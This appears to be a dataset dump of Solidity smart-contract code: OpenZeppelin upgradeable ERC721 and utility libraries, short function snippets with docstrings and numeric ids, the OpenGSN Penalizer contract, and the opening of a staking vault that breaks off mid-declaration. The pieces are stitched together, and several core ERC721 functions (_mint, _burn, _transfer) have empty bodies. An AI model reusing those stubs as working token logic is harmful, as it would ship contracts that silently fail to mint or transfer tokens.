tokenId) internal view virtual returns (bool) { require( _exists(tokenId), 'ERC721: operator query for nonexistent token' ); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ''); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer' ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual {} /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual {} /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, 'ERC721: approve to caller'); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( 'ERC721: transfer to non ERC721Receiver implementer' ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
See {IERC721-safeTransferFrom}./
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved' ); _safeTransfer(from, to, tokenId, _data); }
121,119
./full_match/1287/0xC7C8F57C273c59476f67c614192296dEBcFE9229/sources/project_/contracts/RecordsContract.sol
This function will create new record version from existing record oldRecordId This is the id of the old record name The name of the record image This is the image link for the record cover recordCategory Record category in string caller The owner / user who called this function ballotId The Id of the voting ballot
function createNewRecordVersion( uint256 oldRecordId, string memory name, string memory image, string memory recordCategory, address caller, uint256 ballotId ) public onlyRecordsVotingContract returns (RecordsContract.RecordStruct memory) { RecordStruct memory sourceVersion = recordData[oldRecordId]; RecordStruct memory recordStruct = RecordStruct({ name: name, image: image, seedId: sourceVersion.seedId, parentId: oldRecordId, owner: caller, recordCategory: recordCategory, creationDate: block.timestamp, isPresent: true }); return (recordStruct); }
7,096,732
./full_match/3/0x7295C2BE0Fabca03ED3514C3dd99658EbC25f3f3/sources/browser/Contract_Code_v2_Min.sol
Transfer ETT Token to designated addr(add up Circulate) Authorization Required _addr transfer-out address _val transfer-out amount/Transfer ETT Token to User
function sendETTTokenToAddr_Circulate(address _addr, uint _val) external payable onlyOwner { paramsMapping[56] += _val; sendTokenToUser(EntranceTicketToken, _addr, _val); }
8,114,305
./full_match/80001/0xE0c548D3E65517b1E2daf38Ff388941639BaEcF8/sources/contracts/libs/JgkShougiArmy.sol
Place a soldier into the list army The army to place the soldier into, expected to have empty soldier list
function initArmyList( Army storage army ) internal { if (army.direction) { placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.LION, 2, 1); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.HIYOKO, 2, 2); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.ZOU, 1, 1); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.KIRIN, 3, 1); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.LION, 2, 4); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.HIYOKO, 2, 3); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.ZOU, 3, 4); placeSoldierInto(army, JgkShougiSoldier.SoldierCategory.KIRIN, 1, 4); } }
5,662,921
./full_match/1/0x1ebe7b4DFbAB8b49446915A316d521a3367d7a38/sources/Users/wangban/Downloads/money/coin/basisCash/basiscash-protocol-master/contracts/distribution/UACMICPool.sol
stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public override updateReward(msg.sender) checkStart { require(amount > 0, 'UACMICPool: Cannot stake 0'); uint256 newDeposit = deposits[msg.sender].add(amount); require( newDeposit <= 20000e18, 'UACMICPool: deposit amount exceeds maximum 20000' ); deposits[msg.sender] = newDeposit; super.stake(amount); emit Staked(msg.sender, amount); }
9,636,750
./full_match/82/0xf698c203dA8Ac9738ead7A71165C6dff32eA052E/sources/contracts/MeterMiner.sol
wallet addresses setters /
function CHANGE_OWNERSHIP(address value) external { require(msg.sender == owner, "Admin use only."); owner = value; }
7,094,225
./full_match/10/0xFfDde4b8698bd45AA6ae080D3602D67a233fACd3/sources/contracts/vault-managers/parameters/VaultManagerBorrowFeeParameters.sol
@inheritdoc IVaultManagerBorrowFeeParameters
function setFeeReceiver(address newFeeReceiver) external override onlyManager nonZeroAddress(newFeeReceiver) { feeReceiver = newFeeReceiver; emit FeeReceiverChanged(newFeeReceiver); }
3,778,090
// SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.0; pragma abicoder v2; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "./utils/RLPReader.sol"; import "./utils/GsnUtils.sol"; import "./interfaces/IRelayHub.sol"; import "./interfaces/IPenalizer.sol"; /** * @title The Penalizer Implementation * * @notice This Penalizer supports parsing Legacy, Type 1 and Type 2 raw RLP Encoded transactions. */ contract Penalizer is IPenalizer { using ECDSA for bytes32; /// @inheritdoc IPenalizer string public override versionPenalizer = "2.2.3+opengsn.penalizer.ipenalizer"; uint256 internal immutable penalizeBlockDelay; uint256 internal immutable penalizeBlockExpiration; constructor( uint256 _penalizeBlockDelay, uint256 _penalizeBlockExpiration ) { penalizeBlockDelay = _penalizeBlockDelay; penalizeBlockExpiration = _penalizeBlockExpiration; } /// @inheritdoc IPenalizer function getPenalizeBlockDelay() external override view returns (uint256) { return penalizeBlockDelay; } /// @inheritdoc IPenalizer function getPenalizeBlockExpiration() external override view returns (uint256) { return penalizeBlockExpiration; } function isLegacyTransaction(bytes calldata rawTransaction) internal pure returns (bool) { uint8 transactionTypeByte = uint8(rawTransaction[0]); return (transactionTypeByte >= 0xc0 && transactionTypeByte <= 0xfe); } function isTransactionType1(bytes calldata rawTransaction) internal pure returns (bool) { return (uint8(rawTransaction[0]) == 1); } function isTransactionType2(bytes calldata rawTransaction) internal pure returns (bool) { return (uint8(rawTransaction[0]) == 2); } /// @return `true` if raw transaction is of types Legacy, 1 or 2. `false` otherwise. function isTransactionTypeValid(bytes calldata rawTransaction) public pure returns(bool) { return isLegacyTransaction(rawTransaction) || isTransactionType1(rawTransaction) || isTransactionType2(rawTransaction); } /// @return transaction The details that the `Penalizer` needs to decide if the transaction is penalizable. function decodeTransaction(bytes calldata rawTransaction) public pure returns (Transaction memory transaction) { if (isTransactionType1(rawTransaction)) { (transaction.nonce, transaction.gasLimit, transaction.to, transaction.value, transaction.data) = RLPReader.decodeTransactionType1(rawTransaction); } else if (isTransactionType2(rawTransaction)) { (transaction.nonce, transaction.gasLimit, transaction.to, transaction.value, transaction.data) = RLPReader.decodeTransactionType2(rawTransaction); } else { (transaction.nonce, transaction.gasLimit, transaction.to, transaction.value, transaction.data) = RLPReader.decodeLegacyTransaction(rawTransaction); } return transaction; } mapping(bytes32 => uint256) public commits; /// @inheritdoc IPenalizer function commit(bytes32 commitHash) external override { uint256 readyBlockNumber = block.number + penalizeBlockDelay; commits[commitHash] = readyBlockNumber; emit CommitAdded(msg.sender, commitHash, readyBlockNumber); } /// Modifier that verifies there was a `commit` operation before this call that has not expired yet. modifier commitRevealOnly() { bytes32 commitHash = keccak256(abi.encodePacked(keccak256(msg.data), msg.sender)); uint256 readyBlockNumber = commits[commitHash]; delete commits[commitHash]; // msg.sender can only be fake during off-chain view call, allowing Penalizer process to check transactions if(msg.sender != address(type(uint160).max)) { require(readyBlockNumber != 0, "no commit"); require(readyBlockNumber < block.number, "reveal penalize too soon"); require(readyBlockNumber + penalizeBlockExpiration > block.number, "reveal penalize too late"); } _; } /// @inheritdoc IPenalizer function penalizeRepeatedNonce( bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2, IRelayHub hub, uint256 randomValue ) public override commitRevealOnly { (randomValue); _penalizeRepeatedNonce(unsignedTx1, signature1, unsignedTx2, signature2, hub); } function _penalizeRepeatedNonce( bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2, IRelayHub hub ) private { address addr1 = keccak256(unsignedTx1).recover(signature1); address addr2 = keccak256(unsignedTx2).recover(signature2); require(addr1 == addr2, "Different signer"); require(addr1 != address(0), "ecrecover failed"); Transaction memory decodedTx1 = decodeTransaction(unsignedTx1); Transaction memory decodedTx2 = decodeTransaction(unsignedTx2); // checking that the same nonce is used in both transaction, with both signed by the same address // and the actual data is different // note: we compare the hash of the tx to save gas over iterating both byte arrays require(decodedTx1.nonce == decodedTx2.nonce, "Different nonce"); bytes memory dataToCheck1 = abi.encodePacked(decodedTx1.data, decodedTx1.gasLimit, decodedTx1.to, decodedTx1.value); bytes memory dataToCheck2 = abi.encodePacked(decodedTx2.data, decodedTx2.gasLimit, decodedTx2.to, decodedTx2.value); require(keccak256(dataToCheck1) != keccak256(dataToCheck2), "tx is equal"); penalize(addr1, hub); } /// @inheritdoc IPenalizer function penalizeIllegalTransaction( bytes calldata unsignedTx, bytes calldata signature, IRelayHub hub, uint256 randomValue ) public override commitRevealOnly { (randomValue); _penalizeIllegalTransaction(unsignedTx, signature, hub); } function _penalizeIllegalTransaction( bytes calldata unsignedTx, bytes calldata signature, IRelayHub hub ) private { if (isTransactionTypeValid(unsignedTx)) { Transaction memory decodedTx = decodeTransaction(unsignedTx); if (decodedTx.to == address(hub)) { bytes4 selector = GsnUtils.getMethodSig(decodedTx.data); bool isWrongMethodCall = selector != IRelayHub.relayCall.selector; require( isWrongMethodCall, "Legal relay transaction"); } } address relay = keccak256(unsignedTx).recover(signature); require(relay != address(0), "ecrecover failed"); penalize(relay, hub); } function penalize(address relayWorker, IRelayHub hub) private { hub.penalize(relayWorker, payable(msg.sender)); } }
@inheritdoc IPenalizer
function getPenalizeBlockExpiration() external override view returns (uint256) { return penalizeBlockExpiration; }
977,954
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {EIP712} from "./EIP712.sol"; import {ERC1271} from "./ERC1271.sol"; import {OwnableByERC721} from "./OwnableByERC721.sol"; import {IRageQuit} from "../staking/UniStakerV2.sol"; interface IUniversalVaultV2 { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event LockedERC721(address delegate, address token, uint256 tokenId); event UnlockedERC721(address delegate, address token, uint256 tokenId); event RageQuit(address delegate, address token, bool notified, string reason); event ERC721Received(address operator, address from, uint256 tokenId, bytes data); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function lockERC721( address token, uint256 tokenId, bytes calldata permission ) external; function unlockERC721( address token, uint256 tokenId, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferERC721( address token, address to, uint256 tokenId ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getPermissionHashERC721( bytes32 eip712TypeHash, address delegate, address token, uint256 tokenId, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function getNumERC721TypesLocked() external view returns (uint256 count); function getERC721TypeLockedAt(uint index) external view returns (address token); function getERC721LockedBalance(address token) external view returns (uint256 balance); function getERC721LockedAt(address token, uint index) external view returns (uint256 tokenId); function getNumERC721TypesInVault() external view returns (uint256 count); function getERC721TypeInVaultAt(uint index) external view returns (address token); function getERC721VaultBalance(address token) external view returns (uint256 balance); function getERC721InVaultAt(address token, uint index) external view returns (uint256 tokenId); function checkERC20Balances() external view returns (bool validity); function checkERC721Balances() external view returns (bool validity); } /// @title MethodVault /// @notice Vault for isolated storage of staking tokens /// @dev Warning: not compatible with rebasing tokens contract MethodVaultV2 is IUniversalVaultV2, EIP712("UniversalVault", "1.0.0"), ERC1271, OwnableByERC721, Initializable, IERC721Receiver { using SafeMath for uint256; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.Bytes32Set; using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; /* constant */ // Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks // the gas requirement cannot be determined at runtime by querying the delegate // as it could potentially be manipulated by a malicious delegate who could force // the calls to revert. // The gas limit could alternatively be set upon vault initialization or creation // of a lock, but the gas consumption trade-offs are not favorable. // Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant RAGEQUIT_GAS = 500000; bytes32 public constant LOCK_TYPEHASH = keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant UNLOCK_TYPEHASH = keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant LOCK_ERC721_TYPEHASH = keccak256("LockERC721(address delegate,address token,uint256 tokenId,uint256 nonce)"); bytes32 public constant UNLOCK_ERC721_TYPEHASH = keccak256("UnlockERC721(address delegate,address token,uint256 tokenId,uint256 nonce)"); string public constant VERSION = "1.0.0"; /* storage */ uint256 private _nonce; EnumerableSet.AddressSet private _vaultERC721Types; // nft type to id mapping mapping(address => EnumerableSet.UintSet) private _vaultERC721s; EnumerableSet.AddressSet private _lockedERC721Types; // nft type to id mapping mapping(address => EnumerableSet.UintSet) private _lockedERC721s; mapping(bytes32 => LockData) private 